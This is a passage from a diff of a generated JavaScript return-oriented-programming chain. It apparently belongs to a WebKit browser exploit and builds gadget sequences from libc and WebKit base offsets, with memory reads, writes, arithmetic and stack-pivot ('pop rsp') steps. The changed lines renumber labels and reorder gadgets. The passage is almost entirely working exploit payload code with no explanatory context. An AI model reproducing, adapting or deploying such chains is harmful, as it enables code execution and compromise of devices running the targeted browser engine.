+//L3016: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+793877, //pop rsi +ropchain+194360, //L3019 +webkit_base+7438103, //mov [rsi], rax +libc_base+759626, //mov rax, r8 +libc_base+793877 //pop rsi +]); +//L3018: +db([4294967292, 4294967295]); // -0x4 +set_gadget(libc_base+792472,); //pop rcx +//L3019: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L3003: -db([4294967276, 4294967295]); // -0x14 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+193600, //L3005 +ropchain+194448, //L3020 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+193616, //L3006 +ropchain+194464, //L3022 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L3005: +//L3020: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3006: +//L3022: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+193768, //L3008 +ropchain+194616, //L3023 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+193800, //L3011 +ropchain+194648, //L3026 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+193784, //L3009 +ropchain+194600, //L3024 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+193752, //L3010 +ropchain+194632, //L3025 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3010: +//L3024: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3008: +//L3023: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3009: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L3011: -db([0, 0]); // 0x0 -set_gadgets([ -webkit_base+6227286, //movsxd rax, edi -libc_base+793877, //pop rsi -ropchain+193872, //L3012 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+193888, //L3013 -webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi -]); -//L3012: +//L3025: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3013: +//L3026: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+193984, //L3015 +ropchain+194720, //L3027 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+193968, //L3014 +ropchain+194736, //L3028 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3014: +//L3027: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3015: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+194064, //L3018 -webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi -]); -//L3018: +//L3028: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L3016: -db([131072, 0]); // 0x20000 -set_gadget(libc_base+788575,); //pop rax -//L3017: -db([131072, 0]); // 0x20000 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+194216, //L3020 +ropchain+194856, //L3030 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+194232, //L3021 +ropchain+194872, //L3031 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+194200, //L3019 +ropchain+194840, //L3029 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3019: +//L3029: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3020: +//L3030: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3021: +//L3031: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -21849,147 +21950,147 @@ webkit_base+14959219, //cmp rax, rcx ; sete al webkit_base+48555, //setl al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+194400, //L3022 +ropchain+195040, //L3033 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+194416, //L3024 +ropchain+195056, //L3034 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+194384, //L3023 +ropchain+195024, //L3032 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3023: +//L3032: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3022: +//L3033: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3024: +//L3034: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+194520, //L3028 +ropchain+195160, //L3037 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+194568, //L3029 +ropchain+195208, //L3039 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+194536, //L3026 +ropchain+195192, //L3038 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3028: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L3026: +//L3037: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L3027: +//L3036: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L3038: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3029: +//L3039: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+194680, //L3030+8 +ropchain+195320, //L3040+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+194672, //L3030 +ropchain+195312, //L3040 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L3030: +//L3040: db([0, 0]); // 0x0 set_gadgets([ -ropchain+194696, //L3030+24 -ropchain+194712, //L3025 +ropchain+195336, //L3040+24 +ropchain+195352, //L3035 libc_base+811575, //pop rsp -ropchain+194728, //L3031 -//L3025: +ropchain+195368, //L3041 +//L3035: libc_base+811575, //pop rsp -ropchain+199600, //L3032 -//L3031: +ropchain+200240, //L3042 +//L3041: libc_base+793877, //pop rsi -ropchain+194768, //L3033 +ropchain+195424, //L3045 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L3033: +//L3044: +db([4294967272, 4294967295]); // -0x18 +set_gadget(libc_base+792472,); //pop rcx +//L3045: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L3034: -db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+194872, //L3036 +ropchain+195512, //L3046 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+194888, //L3037 +ropchain+195528, //L3048 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L3036: +//L3046: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3037: +//L3048: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+195032, //L3041 +ropchain+195672, //L3051 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+195000, //L3039 +ropchain+195640, //L3049 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+195016, //L3040 +ropchain+195656, //L3050 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3039: +//L3049: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3040: +//L3050: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3041: +//L3051: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+195104, //L3043 +ropchain+195744, //L3053 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3043: +//L3053: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+195160, //L3044 +ropchain+195800, //L3055 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3044: +//L3055: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -21997,83 +22098,83 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+195240, //L3046 +ropchain+195896, //L3058 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L3046: +//L3057: +db([4294967268, 4294967295]); // -0x1c +set_gadget(libc_base+792472,); //pop rcx +//L3058: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L3047: -db([4294967276, 4294967295]); // -0x14 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+195344, //L3049 +ropchain+195984, //L3059 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+195360, //L3050 +ropchain+196000, //L3061 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L3049: +//L3059: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3050: +//L3061: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+195512, //L3052 +ropchain+196152, //L3062 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+195544, //L3055 +ropchain+196184, //L3065 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+195528, //L3053 +ropchain+196136, //L3063 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+195496, //L3054 +ropchain+196168, //L3064 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3054: +//L3063: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3052: +//L3062: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3053: +//L3064: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3055: +//L3065: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+195664, //L3057 +ropchain+196304, //L3067 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+195680, //L3058 +ropchain+196320, //L3068 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+195648, //L3056 +ropchain+196288, //L3066 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3056: +//L3066: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3057: +//L3067: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3058: +//L3068: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -22084,309 +22185,309 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+195768, //L3060 +ropchain+196408, //L3070 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3060: +//L3070: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+195824, //L3061 +ropchain+196464, //L3072 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3061: +//L3072: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+195944, //L3063 +ropchain+196584, //L3073 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+195976, //L3065 +ropchain+196616, //L3075 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+195960, //L3064 +ropchain+196600, //L3074 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3063: +//L3073: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3064: +//L3074: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3065: +//L3075: db([0, 0]); // 0x0 set_gadgets([ libc_base+270096, //mov al, [rdi] libc_base+793877, //pop rsi -ropchain+196136, //L3069 +ropchain+196776, //L3079 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+196104, //L3066 +ropchain+196728, //L3077 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+196088, //L3067 +ropchain+196760, //L3078 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3067: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L3066: +//L3077: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3068: +//L3076: db([24, 0]); // 0x18 +set_gadget(libc_base+206806,); //pop rdi +//L3078: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3069: +//L3079: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+196192, //L3070 +ropchain+196832, //L3081 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L3070: +//L3081: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+196296, //L3072 +ropchain+196936, //L3082 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+196328, //L3074 +ropchain+196968, //L3084 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+196312, //L3073 +ropchain+196952, //L3083 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3072: +//L3082: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3073: +//L3083: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3074: +//L3084: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+196488, //L3078 +ropchain+197128, //L3088 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+196456, //L3075 +ropchain+197096, //L3085 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+196440, //L3076 +ropchain+197080, //L3086 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3076: +//L3086: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3075: +//L3085: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3077: +//L3087: db([24, 0]); // 0x18 set_gadget(libc_base+788575,); //pop rax -//L3078: +//L3088: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+196544, //L3079 +ropchain+197184, //L3090 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L3079: +//L3090: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+196648, //L3081 +ropchain+197288, //L3091 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+196680, //L3083 +ropchain+197320, //L3093 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+196664, //L3082 +ropchain+197304, //L3092 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3081: +//L3091: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3082: +//L3092: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3083: +//L3093: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+196840, //L3087 +ropchain+197480, //L3097 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+196808, //L3084 +ropchain+197448, //L3094 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+196792, //L3085 +ropchain+197432, //L3095 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3085: +//L3095: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3084: +//L3094: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3086: +//L3096: db([24, 0]); // 0x18 set_gadget(libc_base+788575,); //pop rax -//L3087: +//L3097: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+196896, //L3088 +ropchain+197536, //L3099 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L3088: +//L3099: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+197000, //L3090 +ropchain+197640, //L3100 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+197032, //L3092 +ropchain+197672, //L3102 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+197016, //L3091 +ropchain+197656, //L3101 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3090: +//L3100: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3091: +//L3101: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3092: +//L3102: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+197104, //L3093 +ropchain+197744, //L3103 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+197120, //L3094 +ropchain+197760, //L3104 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3093: +//L3103: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3094: +//L3104: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+197280, //L3098 +ropchain+197920, //L3108 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+197248, //L3095 +ropchain+197888, //L3105 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+197232, //L3096 +ropchain+197872, //L3106 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3096: +//L3106: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3095: +//L3105: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3097: +//L3107: db([24, 0]); // 0x18 set_gadget(libc_base+788575,); //pop rax -//L3098: +//L3108: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+197336, //L3099 +ropchain+197976, //L3110 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L3099: +//L3110: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+197440, //L3101 +ropchain+198080, //L3111 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+197472, //L3103 +ropchain+198112, //L3113 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+197456, //L3102 +ropchain+198096, //L3112 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3101: +//L3111: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3102: +//L3112: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3103: +//L3113: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+197568, //L3105 +ropchain+198208, //L3115 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+197552, //L3104 +ropchain+198192, //L3114 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3104: +//L3114: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3105: +//L3115: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -22394,77 +22495,77 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+197648, //L3106 +ropchain+198304, //L3118 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L3106: +//L3117: +db([4294967280, 4294967295]); // -0x10 +set_gadget(libc_base+792472,); //pop rcx +//L3118: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L3107: -db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+197752, //L3109 +ropchain+198392, //L3119 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+197768, //L3110 +ropchain+198408, //L3121 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L3109: +//L3119: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3110: +//L3121: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+197912, //L3114 +ropchain+198552, //L3124 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+197880, //L3112 +ropchain+198520, //L3122 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+197896, //L3113 +ropchain+198536, //L3123 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3112: +//L3122: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3113: +//L3123: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3114: +//L3124: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+197984, //L3116 +ropchain+198624, //L3126 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3116: +//L3126: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+198040, //L3117 +ropchain+198680, //L3128 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3117: +//L3128: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -22472,83 +22573,83 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+198120, //L3119 +ropchain+198776, //L3131 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L3119: +//L3130: +db([4294967268, 4294967295]); // -0x1c +set_gadget(libc_base+792472,); //pop rcx +//L3131: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L3120: -db([4294967276, 4294967295]); // -0x14 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+198224, //L3122 +ropchain+198864, //L3132 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+198240, //L3123 +ropchain+198880, //L3134 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L3122: +//L3132: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3123: +//L3134: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+198392, //L3125 +ropchain+199032, //L3135 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+198424, //L3128 +ropchain+199064, //L3138 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+198408, //L3126 +ropchain+199016, //L3136 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+198376, //L3127 +ropchain+199048, //L3137 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3127: +//L3136: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3125: +//L3135: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3126: +//L3137: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3128: +//L3138: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+198544, //L3130 +ropchain+199184, //L3140 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+198560, //L3131 +ropchain+199200, //L3141 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+198528, //L3129 +ropchain+199168, //L3139 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3129: +//L3139: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3130: +//L3140: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3131: +//L3141: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -22559,44 +22660,44 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+198648, //L3133 +ropchain+199288, //L3143 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3133: +//L3143: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+198704, //L3134 +ropchain+199344, //L3145 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3134: +//L3145: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+198776, //L3137 +ropchain+199416, //L3147 